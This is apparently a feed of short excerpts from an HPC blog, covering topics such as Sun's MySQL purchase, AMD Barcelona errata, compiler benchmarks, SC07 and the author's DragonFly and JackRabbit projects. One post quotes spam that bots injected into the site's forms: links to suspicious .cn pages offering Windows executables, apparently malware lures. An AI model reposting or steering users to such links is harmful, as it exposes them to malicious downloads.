mailing list. This would be quite helpful to know going forward. https://blog.scalability.org/2008/01/sun-buys-mysql/ Wed, 16 Jan 2008 13:45:30 +0000 https://blog.scalability.org/2008/01/sun-buys-mysql/ So Sun continues their buying spree. First with CFS, and now Mysql. This is quite relevant to HPC for a variety of reasons. Customers have been telling me that they are quite worried about Lustre as a result of the Sun acquisition. There is a lot of speculation about its (likely) limited future outside of Solaris. Then there is ZFS, the sort of - kind of - open source file system that is sort of - kind of - better than anything else. https://blog.scalability.org/2008/01/scientific-instrument-advertising-done-right/ Mon, 14 Jan 2008 18:05:55 +0000 https://blog.scalability.org/2008/01/scientific-instrument-advertising-done-right/ This is too funny. This is the way it should be done … cudos to Biorad (and maybe I can figure out a way to get these guys to use some JackRabbits … not for amplification, but for storing the data …) https://blog.scalability.org/2008/01/dragonfly-update-humming-along/ Sun, 13 Jan 2008 18:55:10 +0000 https://blog.scalability.org/2008/01/dragonfly-update-humming-along/ Haven’t updated this in a while. Done lots of code/function clean up. Still have more to do, but to get it to a usable beta state is very much closer than it was a month ago. Lots of items are working … in a cool web 2.0 ajaxy sorta kinda way. And if we did it right, it gracefully degrades to average everyday HTML in the event that you want to shun javascript (sometimes a good idea in and of itself). https://blog.scalability.org/2008/01/why-use-linux/ Sat, 12 Jan 2008 17:41:20 +0000 https://blog.scalability.org/2008/01/why-use-linux/ There are many reasons. Some economic and TCO, some performance, some development, some stability. Well, that last one is interesting. We hear occasionally about systems stability, ability to withstand withering loads, ability to function and multifunction with ease. The machine that this blog has been running on, shared with multiple other websites, and other functions, is running Linux. Patches relevant for its functionality have been applied with none of the “you must reboot now” garbage that other OSes impose. https://blog.scalability.org/2008/01/update-on-file-formats/ Thu, 10 Jan 2008 08:42:24 +0000 https://blog.scalability.org/2008/01/update-on-file-formats/ Robin Harris noted that he might have misinterpreted what happened. There is a blog which explains it here. Yes, Robin is correct, Microsoft does inspire strong reactions. Allow me to be blunt about it and say not all of them are deserved. The HPC people I have met and spoken with are good people. I don’t agree about some of their directions, but the vision is cool, and it looks correct. https://blog.scalability.org/2008/01/interesting-thoughts-on-cs-education/ Tue, 08 Jan 2008 22:14:06 +0000 https://blog.scalability.org/2008/01/interesting-thoughts-on-cs-education/ We haven’t covered CS education as such in this blog, as rather surprisingly, most of high performance computing is not being done/driven by CS people. This is probably unfortunate for several reasons, most of which is that many HPC practitioners are taking localized utilitarian views of HPC, and not looking at bigger pictures which may net them additional benefit. That said, the authors of this article imply that the state of CS education is in decline, that CS departments are not creating the computer scientists we need, rather they are creating java programmers, and others well insulated from a deeper understanding of the machine. https://blog.scalability.org/2008/01/crystals-diamond-structure-and-something-called-k_4/ Mon, 07 Jan 2008 15:11:10 +0000 https://blog.scalability.org/2008/01/crystals-diamond-structure-and-something-called-k_4/ I am going to have to look up the article referred to by /. This morning, they linked to an article in AMS about crystal symmetry, and a structure they called K_4. This structure, they claimed, does not occur in nature. Odd I thought … as the picture they showed, well, I thought I had seen it before. So using Inventor, I pulled out an old copy of a Gallium Arsenide lattice I used for simulations, more than a decade ago (aren’t open formats nice? https://blog.scalability.org/2008/01/fortran-version-of-the-compiler-quality-test/ Sun, 06 Jan 2008 08:40:25 +0000 https://blog.scalability.org/2008/01/fortran-version-of-the-compiler-quality-test/ Quite a few people asked offline for a fortran version of the tests I indicated in the last post on this subject. So here is the basic code and its performance. What is interesting is that, for the same inputs as the C code, with no heroic loop unrolling/unwinding, the Fortran is about 3x faster than the C. Well, except for ifort. But we will get into that more later on. https://blog.scalability.org/2008/01/mpi-hmmer-site-is-now-live/ Sat, 05 Jan 2008 23:31:46 +0000 https://blog.scalability.org/2008/01/mpi-hmmer-site-is-now-live/ MPI-HMMer, the implementation of Professor Eddy’s HMMer code built for MPI clusters, is now live on the net. www.mpihmmer.org will get you there, as will mpihmmer.org. There are some nice nuggets buried within … the papers, and a short discussion of MPI-HMMer-boost, which is a multi-layer parallel-accelerated implementation of HMMer. As usual, we are in search of meaningful and big benchmark tests to see what we can do (and if we can break it). https://blog.scalability.org/2008/01/on-the-retention-of-electronic-data/ Fri, 04 Jan 2008 17:55:23 +0000 https://blog.scalability.org/2008/01/on-the-retention-of-electronic-data/ One of the things I and many other people worry about is how to retain data for long periods of time. This means that the data has to be accessible, readable, and convertable. This suggests that only open formats and file systems should ever be considered for data storage and retention. With this in mind, I read Robin Harris' Storagemojo column this morning. Yeah, I would say he nailed it. https://blog.scalability.org/2008/01/hpcwire-has-lots-of-good-reading-for-early-2008/ Fri, 04 Jan 2008 16:17:10 +0000 https://blog.scalability.org/2008/01/hpcwire-has-lots-of-good-reading-for-early-2008/ I don’t have time right now to comment in depth, but read John West’s predictions, as well as most of the other editorials. Spot on in most cases. Mirrors things we have been saying and working on for a while. They are at http://hpcwire.com https://blog.scalability.org/2008/01/bandwidth-as-the-limiting-factor-for-hpc-and-it/ Fri, 04 Jan 2008 07:22:59 +0000 https://blog.scalability.org/2008/01/bandwidth-as-the-limiting-factor-for-hpc-and-it/ I postulated for a while that this was the case. HPC technologies tend to evolve to a point of bandwidth (or latency) limitation. The broader IT market tends to follow. This is basically stating that as you build out resources, common designs will tend to oversubscribe critical information pathways. I had a conversation with a potential partner today where we were talking about HPC across multiple different subfields and we kept coming back to this. https://blog.scalability.org/2008/01/12-hours-into-the-new-year-and-i-have-210-spam-in-my-spam-box/ Tue, 01 Jan 2008 17:12:30 +0000 https://blog.scalability.org/2008/01/12-hours-into-the-new-year-and-i-have-210-spam-in-my-spam-box/ This would be about 12.8k spam estimated for this month. Last month I had 10.9k. I heard somewhere that someone said spam is decreasing. My measurements (graphs over the last year) show quite the opposite. Our spam-box is on a per user basis. Each mail runs an annotation filter gauntlet. At the end of this gauntlet, it is classified as spam or not-spam. Not all mail reaches the gauntlet. Most of the “mail” gets rejected. https://blog.scalability.org/2007/12/compiler-quality/ Mon, 31 Dec 2007 17:52:34 +0000 https://blog.scalability.org/2007/12/compiler-quality/ One of the comments to the previous post got me thinking about testing code on the same machine under various compilers. It is fairly well known that the Intel compilers emit code that doesn’t select reasonable operational paths on AMD processors, which usually results in identical binaries having vast performance difference on very similar platforms. This doesn’t make a great deal of sense from a technological point of view … you want to test for SSE* support, and not use processor strings to set set paths, specifically in that paths which may be disabled by processor string on your own CPUs, which is enabled/fixed in an upgrade of the microcode would be deselected … That is, such efforts are self defeating in the end. https://blog.scalability.org/2007/12/quick-note-to-people-who-register-and-dont-get-emails/ Sat, 22 Dec 2007 21:56:24 +0000 https://blog.scalability.org/2007/12/quick-note-to-people-who-register-and-dont-get-emails/ Sorry about that, but it looks like some email domains are still using DULs that contain business DSL and business cable modem. If you are having trouble getting the emails, please use either a gmail.com, or similar (saner) email system. They generally do not have problems getting email to them. And they don’t use RBLs/DULs. Go figure. You may have seen me complain in the past about RBLs and their evil twin, DULs before. https://blog.scalability.org/2007/12/why-does-ie-do-things-the-way-ie-does/ Thu, 20 Dec 2007 03:27:19 +0000 https://blog.scalability.org/2007/12/why-does-ie-do-things-the-way-ie-does/ I keep running into small (brick) walls with IE (mis)features. The latest one was when IE likes to send the whole file name … including path and drive … as the file upload name. The previous one was when IE refused to do the AJAXified file upload progress meter. Works on all the other browsers on all the platforms I have tried. Just not IE. I seem to remember something like this from some years ago with DragonFly’s predecessor. https://blog.scalability.org/2007/12/there-are-days/ Thu, 20 Dec 2007 03:19:37 +0000 https://blog.scalability.org/2007/12/there-are-days/ like this … … Been hacking away at DragonFly. More soon. https://blog.scalability.org/2007/12/what-he-said/ Mon, 17 Dec 2007 17:16:42 +0000 https://blog.scalability.org/2007/12/what-he-said/ John West has a good article on a phenomenon in HPC. Generally speaking there is a disconnect between chip vendors and final customers. This disconnect often means that high performance computing solutions vendor (like my day job) often have to deal with … well … interesting and exciting problems, in supply, quality, and so on. John talks about this with respect to chip vendors, but his analysis also applies to motherboard vendors, ram makers, disk vendors, and so on. https://blog.scalability.org/2007/12/the-joy-of-hardware-when-things-dont-respond-as-they-should/ Sun, 16 Dec 2007 18:39:17 +0000 https://blog.scalability.org/2007/12/the-joy-of-hardware-when-things-dont-respond-as-they-should/ IPMI is (sometimes) a wonderful thing. It can help you figure out problems, provide a console over network capability, as well as power cycle machines. This is of course, when it works. When it doesn’t, it is a nightmare. We have a cluster in place with a mostly functional IPMI stack. Customer indicated a problem with a node, and we brought it back to the lab. Turns out that during a recent move of theirs, they damaged a port on it. https://blog.scalability.org/2007/12/new-article-up/ Thu, 13 Dec 2007 16:03:41 +0000 https://blog.scalability.org/2007/12/new-article-up/ Over at Linux Magazine, they have a multi-core cookbook. This is a site dedicated to pragmatic HPC topics … more than just HPC, as everyone has to deal with multi-core these days. The question is how to program them. I wrote an article (well first of three, two written and submitted, third one I am still working on) on how to use OpenMP. This is pragmatic in that it show you how to go from a bare linux machine to openMP enabled in a short period of time. https://blog.scalability.org/2007/12/paying-too-much-for-graphics-companies/ Thu, 13 Dec 2007 05:23:45 +0000 https://blog.scalability.org/2007/12/paying-too-much-for-graphics-companies/ That bastion of accurate reporting, Valleywag, has a short note on AMD taking a charge for the ATI acquiisition. Quite a few of us questioned the wisdom of the move at the time. nVidia would have made more sense, but given the market caps, it would have been nVidia acquiring AMD, and that isn’t likely to have happened. Well, as John at InsideHPC reported earlier in the week, AMD was not exactly rolling in the good news over the past two weeks. https://blog.scalability.org/2007/12/as-the-market-rapidly-grows/ Fri, 07 Dec 2007 15:14:06 +0000 https://blog.scalability.org/2007/12/as-the-market-rapidly-grows/ We have been pointing out for a long while that the HPC market is growing at a break-neck pace. The latest IDC numbers, continue to support these claims. Many places have the numbers and the analysis. Pointing toHPCwire’s analysis: Yeah, that about sums it up. Now remember, that Linux is the most common and largest fraction of the HPC server market, and despite protestations (and marketing) to the contrary from interested parties, this shows no signs of letting up, or changing in any significant way. https://blog.scalability.org/2007/12/lots-of-others-have-noticed-as-well/ Fri, 07 Dec 2007 13:56:43 +0000 https://blog.scalability.org/2007/12/lots-of-others-have-noticed-as-well/ It is becoming clearer and clearer that we aren’t the only ones calling on AMD to do something about the Barcelona issue. AMD has too much invested in the system to be acting the way it is, damaging its relationship the way it is. Some of the others are simply suggesting a fessing up to the situation, as it appears that spokes people are trying to spin something hard. [**update: **the register has a take] No. https://blog.scalability.org/2007/12/free-advice-to-amd-on-barcelona/ Thu, 06 Dec 2007 16:19:35 +0000 https://blog.scalability.org/2007/12/free-advice-to-amd-on-barcelona/ First off, it is worth noting that the handling of the problem is causing far more damage to AMD than the problem would … investment types call it loss of goodwill. This is the indication of something like a rudderless ship in motion. It needs to be corrected forthwith. Like yesterday. AMD needs to * Make the patch available on its website * Hire some contractors to make patches for RHEL/SuSE/Ubuntu, as well as source code installable packages which will build against the kernel * Lose the warranty hole. https://blog.scalability.org/2007/12/non-competes/ Thu, 06 Dec 2007 16:02:24 +0000 https://blog.scalability.org/2007/12/non-competes/ From /., I saw an article on non-competes. It made the claim that they are the DRM of human capital. DRM is, for all intents and purposes, digital rights management, which is post sales control over assets. Human capital is a euphemism of course, for people … knowledge workers specifically (which is itself a euphemism … ) What struck me (as a Michigander of about 2 decades now) was this snippet: https://blog.scalability.org/2007/12/i-understand-the-amd-barcelona-issues-now/ Thu, 06 Dec 2007 04:07:50 +0000 https://blog.scalability.org/2007/12/i-understand-the-amd-barcelona-issues-now/ I spoke with the AMD folks during SC and afterwords. Someone leaked the info yesterday, and today on the x86_64 discussion group, the errata and patches were detailed. I have had the patches for a few days now, and have a bios update I need to apply to a motherboard. That said, what this is, is a particular TLB-cache interaction, that under a very specific set of circumstances, will trigger a machine check exception, and hang a machine. https://blog.scalability.org/2007/12/not-up-yet-but-two-articles-coming-soon-to-a-site-near-you/ Thu, 06 Dec 2007 03:49:07 +0000 https://blog.scalability.org/2007/12/not-up-yet-but-two-articles-coming-soon-to-a-site-near-you/ Check out Doug Eadline’s MultiCore Cookbook at Linux Magazine. Kudos to LM for continuing efforts to promote all manner of relevant articles. Sadly, some web publications may call this “zealotry” or similar, but as Linux continues to dominate HPC, and HPC does in fact continue to grow at a blistering pace, it appears that LM is one of the very small number of publications of record focusing upon HPC for end users. https://blog.scalability.org/2007/11/amd-vs-intel-benchmarks-for-latest-chips/ Thu, 29 Nov 2007 05:58:57 +0000 https://blog.scalability.org/2007/11/amd-vs-intel-benchmarks-for-latest-chips/ John at InsideHPC has a pointer to an article on benchmarks of the chips. There is no doubt that Intel is doing a good job on coming out with chips in a timely manner, something AMD is not doing well. Regardless of my criticism, what is interesting are the real world tests. I don’t care so much about winrar and other things that, generally speaking, won’t impact my or my customers lives all that much. https://blog.scalability.org/2007/11/science-with-an-attitude/ Wed, 28 Nov 2007 22:47:53 +0000 https://blog.scalability.org/2007/11/science-with-an-attitude/ Doing some gear shifting, I found a link to xkcd. On it, I found this drawing … [ ](http://xkcd.com/54/) [channeling Austin Powers] Yeah baby! https://blog.scalability.org/2007/11/as-the-market-evolves/ Wed, 28 Nov 2007 15:32:48 +0000 https://blog.scalability.org/2007/11/as-the-market-evolves/ I have been a strong proponent of accelerators for quite some time. Unfortunately, as indicated, it has been sadly, lacking success in trying to convince VCs and others to help fund the development we saw was needed. “The market will be there”, we said. “When” they asked. “Soon” we replied. That wasn’t good enough for them. That was ~2 years ago. Now, free from much of the hype (though marketeers still inject a little every now and then), we see a rapidly developing accelerator marketplace. https://blog.scalability.org/2007/11/why-am-i-surprised-that-people-found-this-surprising/ Wed, 28 Nov 2007 14:08:58 +0000 https://blog.scalability.org/2007/11/why-am-i-surprised-that-people-found-this-surprising/ https://blog.scalability.org/2007/11/data-center-growth-numbers/ Wed, 28 Nov 2007 13:35:36 +0000 https://blog.scalability.org/2007/11/data-center-growth-numbers/ From an article in Computerworld.. They note some results reported at a Gartner data center conference recently. Before I go into this, please remember that I am still laughing over the Itanium2 installed base debacle that Gartner had “predicted” in the previous decade (and early part of this decade). So, as with all projections, take theirs with a few kg of salt. What is most interesting is that they give current numbers. https://blog.scalability.org/2007/11/expecting-better-of-them/ Fri, 23 Nov 2007 19:17:07 +0000 https://blog.scalability.org/2007/11/expecting-better-of-them/ On thanksgiving in the US, there is much to reflect upon. Introspection: what you are doing right, and what you are not, is always good. We do quite a bit of it. Though on Thanksgiving, it is interspersed between the mashed potatoes, turkey, and other elements. HPCwire appeared to do some introspection. Sort of. Their language and adoption of one side of a debate is, well, troubling. They cherry picked from John Power’s blog. https://blog.scalability.org/2007/11/losing-our-giants-gene-golub/ Wed, 21 Nov 2007 04:54:22 +0000 https://blog.scalability.org/2007/11/losing-our-giants-gene-golub/ I never met Gene Golub; I have his and Charles Van Loan’s “Matrix Computations” book. It is one of those that you pour over, sometimes scratching your head as to how a particular algorithm works, and there is a detailed discussion of how to implement the algorithm, including very helpful discussions of the inner workings. The book is extraordinary, you can almost hear the lecture proceeding as you read it. It is accessible, and largely comprehensible. https://blog.scalability.org/2007/11/sgi-heads-for-turbulence-again/ Sat, 17 Nov 2007 04:40:42 +0000 https://blog.scalability.org/2007/11/sgi-heads-for-turbulence-again/ Sadly I missed John West and the InsideHPC folks at Reno. This was my fault, it was my intention to drop by and say hi. I read InsideHPC and a few others frequently. Turns out, not frequently enough, as he noted something from the San Jose Mercury News on SGI. Its “old” news now (more than 24 hours), but an SGI shareholder is pushing for a sale to a competitor. The rationale for this is to reduce the SG&A; costs. https://blog.scalability.org/2007/11/sc07-short-wrap-up/ Fri, 16 Nov 2007 19:33:11 +0000 https://blog.scalability.org/2007/11/sc07-short-wrap-up/ Next year in Austin … looking forward to it. This year was muted relative to previous years. Some high fliers of the past were absent: I didn’t see Apple, I suspect they have decided that margins on iPhone and iTunes is simply better for them than getting in pitched battles for clusters. They haven’t had much in the way of success/installed base there. Linux Networx wasn’t there in a meaningful way (some people may have been in the whisper suites). https://blog.scalability.org/2007/11/sc07-day-2-recap/ Thu, 15 Nov 2007 15:04:48 +0000 https://blog.scalability.org/2007/11/sc07-day-2-recap/ Well, for day 2 had very little in the way of looking at demos. It was a day of meetings. That and a BOF. Ok, I did get to see the D-Wave systems stuff and ask some questions. It is not precisely what I thought it was. In short, they map problems onto an Ising model, and then cool the chip. The mapping onto the Ising model may be understood in terms of constraints on the “spin” state of the model. https://blog.scalability.org/2007/11/sc07-the-nightlife/ Wed, 14 Nov 2007 06:57:20 +0000 https://blog.scalability.org/2007/11/sc07-the-nightlife/ So I had two events to attend, overlapping of course (of course). Beobash and a dinner with Microsoft. John and I got to Beobash and I spoke with Chris Samuel of VPAC and some associates from Australia. Doug Eadline interviewed me (and I didn’t have the slightest clue as to what I was going to say, so it came out rather funny sounding, sorry Doug). I spoke with lots of good people. https://blog.scalability.org/2007/11/sc07-what-i-saw-so-far/ Wed, 14 Nov 2007 06:44:09 +0000 https://blog.scalability.org/2007/11/sc07-what-i-saw-so-far/ Lots of stuff. Some of it pretty nice. Still lots of “me-too” products. The usual suspects are there. Evergrid is neat. Yeah, there I said it. It is neat. Vipin suggested I look at it and I did. Did I mention it is neat? Lots of RAID cards/storage companies all showing off 5+ GB/s to hundreds of disks. Live on the floor. Running IOmeter (hmmmm). Mellanox showed off some nice new 10GbE cards. https://blog.scalability.org/2007/11/sc07-coolest-demo-i-saw-today/ Wed, 14 Nov 2007 06:33:49 +0000 https://blog.scalability.org/2007/11/sc07-coolest-demo-i-saw-today/ Go to the PSC (Pittsburgh Supercomputer Center) booth. Look at the Wii-steered molecular dynamics. Do some bowling with bucky balls using the Wii. In 1990, I wanted a VR system, and a data glove to position my atoms for my MD simulations. Vi is not a great user interface to configuration. In 2007 the folks at PSC did a bang up job (great job) showing what could be done. This isn’t just a cute demo, it has real potential, for people studying specific reaction pathways, or needing to explore CVD, or protein misfolding (their alanine example shows guided folding), or … Provide enough computing power, and you create an enabling technology. https://blog.scalability.org/2007/11/sc07-planes-and-automobiles-no-trains/ Wed, 14 Nov 2007 06:25:46 +0000 https://blog.scalability.org/2007/11/sc07-planes-and-automobiles-no-trains/ We had an adventure going from Detroit to Reno. In LA, our outbound flight was canceled. Engine problems from what we understand. So we were booked at a hotel, and got to enjoy a relaxing 4 hour sleep. Thank gosh for Starbucks (Starboooooks). Triple shot mocha … enough calories and caffeine to stave off a crash … for a while, though I am gonna be paying for it later on. But, we are here. https://blog.scalability.org/2007/11/dear-web-creators-everywhere/ Sat, 10 Nov 2007 20:21:21 +0000 https://blog.scalability.org/2007/11/dear-web-creators-everywhere/ … I know you think that pushing sound out to a browser is a good idea. I know you think the technology is cool. It is annoying. Absolutely, positively, completely annoying. I do not want to be listening to something I want to listen to, only to be interrupted by something intruding, un-invited, onto my audio system. It is worse than popups, whichi I block as they are annoying. I never gave you permission to use my resources in this manner. https://blog.scalability.org/2007/11/at-sc07-next-week/ Fri, 09 Nov 2007 03:49:06 +0000 https://blog.scalability.org/2007/11/at-sc07-next-week/ Won’t live-blog, but I will try to snap pictures, get some video, and other things. Will report on neat new things. Maybe some neat old things. Hopefully will see many old friends, and make some new ones. Much to do, much to do … https://blog.scalability.org/2007/11/dragonfly-update/ Wed, 07 Nov 2007 07:22:25 +0000 https://blog.scalability.org/2007/11/dragonfly-update/ Here are a few screenshots. Too tired to make thumbnails. Login * Projects Add Project Jobs Project Users Wizard Apps The web system is fully db centric now. Finishing up the utilities. Hopefully they will be done before SC07. The Mercurial repository is up if you want to see what we are up to (and look at our latest commits). https://blog.scalability.org/2007/11/when-perl-modules-go-bad/ Fri, 02 Nov 2007 00:18:10 +0000 https://blog.scalability.org/2007/11/when-perl-modules-go-bad/ There is a name for my pain and it is WWW::Mechanize. This module is a complex little bit which allows Perl code to programmatically load and interact with web sites. Of course it doesn’t have a built in JavaScript engine or anything else like that, but it is supposed to be used for unit testing. That is, provided it works. Which, on many machines and systems I have tried, it simply does not. https://blog.scalability.org/2007/10/diskless-suse-success-at-last/ Thu, 01 Nov 2007 03:37:31 +0000 https://blog.scalability.org/2007/10/diskless-suse-success-at-last/ SuSE has been resisting me running it diskless. Actively resisting. The end result was that I had to build a custom kernel (we are using/supporting 2.6.22.6 right now), making sure to build nfs, and networking in, and not as modules. What I learned was that even if you think you have built everything, you could leave important little things off. And Murphy’s law dictates that those left off things are important. https://blog.scalability.org/2007/10/source-of-amusement-for-a-monday-evening/ Mon, 29 Oct 2007 22:45:56 +0000 https://blog.scalability.org/2007/10/source-of-amusement-for-a-monday-evening/ Update 24-Dev-2007: One of the site owner listed below contacted me and asked me to remove their personal information which was contained in the site registration. I complied. I have not checked whether or not their system is still an attack host. It is very important that people with good intentions protect their systems before placing them on the net. It is generally very hard to do this for windows, and fairly easy to do this for linux. https://blog.scalability.org/2007/10/reading-an-interesting-book-and-an-interesting-site/ Mon, 29 Oct 2007 06:17:04 +0000 https://blog.scalability.org/2007/10/reading-an-interesting-book-and-an-interesting-site/ “The education of an accidental CEO”. Very interesting read. It turns out a number of the folks whom have written about their experience running companies, all talk about the “gut feeling” about things. People, partners, etc. I had some “gut feelings” about some stuff I won’t get into, and I found myself not following them. This was a mistake. Past times when I did “follow my gut” I wasn’t lead astray. https://blog.scalability.org/2007/10/teaching-an-old-distribution-new-booting-tricks/ Mon, 29 Oct 2007 06:09:13 +0000 https://blog.scalability.org/2007/10/teaching-an-old-distribution-new-booting-tricks/ So I am trying to get SuSE to PXE boot into a diskless session. In order to do this, first I have to get it to install into a directory. Next we have to do something about the kernel. The first part is sort of, kind of, solved. Took a while, but it is working. Second is more complex. SuSE doesn’t make it easy to remaster the kernel. Nor does RH (or Fedora, …). https://blog.scalability.org/2007/10/when-bad-peoplebots-attack/ Fri, 26 Oct 2007 16:26:09 +0000 https://blog.scalability.org/2007/10/when-bad-peoplebots-attack/ In some of our logs, we come across some of the more interesting things people try to jam into our forms. The examples below have some, well, interesting aspects to them. <a href= http://6.exefiles.cn/adduserexe-resource-kit.html &rt;adduser.exe resource kit</a&rt; [url=http://6.exefiles.cn/adduserexe-resource-kit.html]adduser.exe resource kit[/url] <a href= http://7.microsoft-security.cn/ntfrsexe.html &rt;ntfrs.exe</a&rt; [url=http://7.microsoft-security.cn/ntfrsexe.html]ntfrs.exe[/url] <a href= http://7.exefiles.cn/jammerexe.html &rt;jammer.exe</a&rt; [url=http://7.exefiles.cn/jammerexe.html]jammer.exe[/url] <a href= http://7.exefiles.cn/piv-pivbrowardschoolscom-pivexe.html &rt;piv piv.browardschools.com piv.exe</a&rt; [url=http://7.exefiles.cn/piv-pivbrowardschoolscom-pivexe.html]piv piv.browardschools.com piv.exe[/url] <a href= http://10.antyspyware.cn/spdbvexe.html &rt;spdbv.exe</a&rt; [url=http://10.antyspyware.cn/spdbvexe.html]spdbv.exe[/url] <a href= http://5.exefiles.cn/regenv32-has-caused-an-error-in-regenv32exe.html &rt;regenv32 has caused an error in regenv32. https://blog.scalability.org/2007/10/duct-tape-baling-wire-and-sealing-wax/ Tue, 23 Oct 2007 06:19:45 +0000 https://blog.scalability.org/2007/10/duct-tape-baling-wire-and-sealing-wax/ None of the above were used in DragonFly, though sometimes, sometimes, it feels like it. DragonFly launched its first job this morning at 2am. 11 hours before the demo. Nah, thats not cutting it close … not at all. The job is the same ptb.exe job from before. On 4 cpus, with 100000 iterations (the other one finishes too quickly). Had to hardwire some bits to deal with bugs I need to fix. https://blog.scalability.org/2007/10/the-power-of-good-tools/ Mon, 22 Oct 2007 23:47:38 +0000 https://blog.scalability.org/2007/10/the-power-of-good-tools/ Ok, sort of another minor DragonFly milestone … except that no code in DragonFly has changed. Previously, we pulled our job description from a file, and used it to create the job for us. Now, without changing a single line in the code, we have done this: dragonfly@dragonfly:~/utilities$ ./build_job.pl --job=http://dragonfly:3001/jobs/xml/14 --program=ptb.xml --debug D[27064]: os = 'linux' D[27064]: directory = '/home/dragonfly/utilities' D[27064]: opening temp file in directory .... D[27064]: parsing XML from job='http://dragonfly:3001/jobs/xml/14' D[27064]: parsing XML from program='ptb. https://blog.scalability.org/2007/10/and-yet-another-learning-moment/ Tue, 16 Oct 2007 22:39:59 +0000 https://blog.scalability.org/2007/10/and-yet-another-learning-moment/ No, won’t get into detail. Sometimes in the course of business you realize that the people speaking to you have expectations that are entirely out of alignment with yours. After spending months in a careful and cautious dance to make sure that they are in fact in alignment. I learned a great deal today. Saddened by the course of events, but I learned. https://blog.scalability.org/2007/10/dragonfly-milestone/ Tue, 16 Oct 2007 02:15:18 +0000 https://blog.scalability.org/2007/10/dragonfly-milestone/ A long time ago, on a computer not so far away, we built a program called “SICE”. Yeah, I am not known for naming things well. SICE’s entire purpose in life was to be a user centric interface to HPC systems. When users wanted to run jobs, they filled out a web form that described the job, and off it went. This was not similar to other things out there in the market. https://blog.scalability.org/2007/10/interesting-comment-from-one-of-the-largest-vendors-of-computers/ Sun, 14 Oct 2007 13:28:20 +0000 https://blog.scalability.org/2007/10/interesting-comment-from-one-of-the-largest-vendors-of-computers/ The arguments for vendor support of Linux are simple economics. In HPC this usually means that a vendor has a reasonable expectation of return on their investment if they support Linux. This is a valid view if you have something of value that people want at a price they are willing to pay. The arguments for computer vendor support of Linux are again, simple economics. If Linux is driving business, you expect a vendor to pay attention. https://blog.scalability.org/2007/10/vote-for-your-favorite-hpc-technologies-at-hpcwire/ Thu, 11 Oct 2007 16:31:02 +0000 https://blog.scalability.org/2007/10/vote-for-your-favorite-hpc-technologies-at-hpcwire/ [to vote, go to this link ] I received this email from HPCwire: You know, we happen to have this terrific high performance storage system, that generates incredible performance at a highly aggressive price … If you think it is worth spending some electrons/clock cycles on, please go to their link and vote. If you like what you may have read about JackRabbit here or elsewhere, please, by all means, let them know. https://blog.scalability.org/2007/10/head-shakes-in-disbelief/ Wed, 10 Oct 2007 19:54:21 +0000 https://blog.scalability.org/2007/10/head-shakes-in-disbelief/ I saw this posted as an update from Groklaw. I think I said something to the effect of [ ](http://scalability.org/?p=417) just a few days ago. Turns out that it doesn’t appear to be just in private. The Microsoft folks could do great things in the HPC space if there was a little less NIH and a bit more “hey lets work with the community”. Unfortunately, with a CEO making statements like this, it is a little hard to convince the community that you want to, I dunno, work with them as opposed to suing them. https://blog.scalability.org/2007/10/ubuntu-kernels-is-anyone-paying-attention/ Wed, 10 Oct 2007 16:05:35 +0000 https://blog.scalability.org/2007/10/ubuntu-kernels-is-anyone-paying-attention/ I have noticed this now on my laptop, on JackRabbit, on a few other systems. The Ubuntu kernels are thrashing with context switches. 4000-5000 or so per second, and fast machines are rendered sluggish. So we build our own. Did that for Ubuntu thus far, and it has been good. Context switches per second down around 100 or so at idle. Where they should be. I just wonder if anyone at Canonical is paying attention to this. https://blog.scalability.org/2007/10/last-time-on-as-the-foss-turns/ Tue, 09 Oct 2007 15:23:06 +0000 https://blog.scalability.org/2007/10/last-time-on-as-the-foss-turns/ Just as Linux and HPC on Linux clears the SCO debacle, new FUD from a familiar source. Yup, our buddy is up to his old tricks. Groklaw has the story. Some snippets: Well, yes. Of course. And in the court of public opinion, we see the response. Linux usage is increasing by the per unit data, which doesn’t count reloaded/remissioned systems (we have done several for customers recently, whereby their data will count in the windows column as that is what they shipped with, though they are running Linux now, and this is not counting in any column). https://blog.scalability.org/2007/10/going-for-the-fall/ Sun, 07 Oct 2007 00:03:09 +0000 https://blog.scalability.org/2007/10/going-for-the-fall/ Well, the circus and legal theatre that SCO has created for itself is not quite over yet. Novell appears to be doing something along the lines of what I suggested. I wrote this: And today, I read on an article linked from /. that … or they may run out of Novell’s money, fighting Novell who wants to take possession of Novell’s money. I won’t speculate whether or not this motion would be granted. https://blog.scalability.org/2007/10/we-hit-the-big-time/ Fri, 05 Oct 2007 05:23:50 +0000 https://blog.scalability.org/2007/10/we-hit-the-big-time/ On HPCwire this week, John West included a short summary of our annoucement. At least no one has set up a slashdot submission … yet. If I see the server load roll past 1000 I know I have been hit by the /. effect. That and hearing silicon whimper… Hmmm… maybe that is a good benchmark for JR, put it up as a web server, submit a /. and let er rip :) https://blog.scalability.org/2007/10/wherefore-art-thou-oh-socket-1207771-cpu-cooler/ Wed, 03 Oct 2007 15:21:34 +0000 https://blog.scalability.org/2007/10/wherefore-art-thou-oh-socket-1207771-cpu-cooler/ It seems that the choice in CPU cooling solutions for these two sockets (Opteron/Xeon) is slim at best. I guess they aren’t volume sellers. What I don’t get is why the powers that be sought to invent yet-another-new-cooling-solution-requirement that does a good job of fragmenting the market, and insuring limited supply of reasonable cooling systems. Well, the Intel boxed processors at least come with cpu fans and coolers. As of socket 1207, Opterons no longer do. https://blog.scalability.org/2007/10/ohio-linux-fest/ Tue, 02 Oct 2007 21:04:05 +0000 https://blog.scalability.org/2007/10/ohio-linux-fest/ I was down at OLF with a JackRabbit and a Pegasus workstation. The rest of the booths had filled up, so they placed us near the coffee. Lets see, coffee, IT people … Hmmm…. They musta liked us ! Some friends helped out getting the mini booth up. I put out some pens, 150 JackRabbit pages (couldn’t possibly burn through those, right? I figured we would get rid of 20 or so at best). https://blog.scalability.org/2007/10/woo-hoo-the-quad-core-opterons-are-here/ Tue, 02 Oct 2007 21:01:47 +0000 https://blog.scalability.org/2007/10/woo-hoo-the-quad-core-opterons-are-here/ (aka I can buy them in the market …) See Newegg. https://blog.scalability.org/2007/10/mpi-class/ Mon, 01 Oct 2007 14:02:32 +0000 https://blog.scalability.org/2007/10/mpi-class/ I taught the first half of an MPI class for a university last friday. It was fun, I showed them how to engineer an application for maximum scalability, as well as how to do basic message passing. There isn’t a great deal we can do in a single day, but I did start to get into some of the minutae of MPI programming. It is hard for people to think in parallel. https://blog.scalability.org/2007/10/another-update-48tb-jackrabbit-available-for-under-1gb/ Mon, 01 Oct 2007 13:55:04 +0000 https://blog.scalability.org/2007/10/another-update-48tb-jackrabbit-available-for-under-1gb/ Almost forgot to mention. Our 48 TB unit is now available for under $1/GB (e.g. less than $48k). This is, as far as we know, the densest storage server/appliance available on the market today. See the full product line with 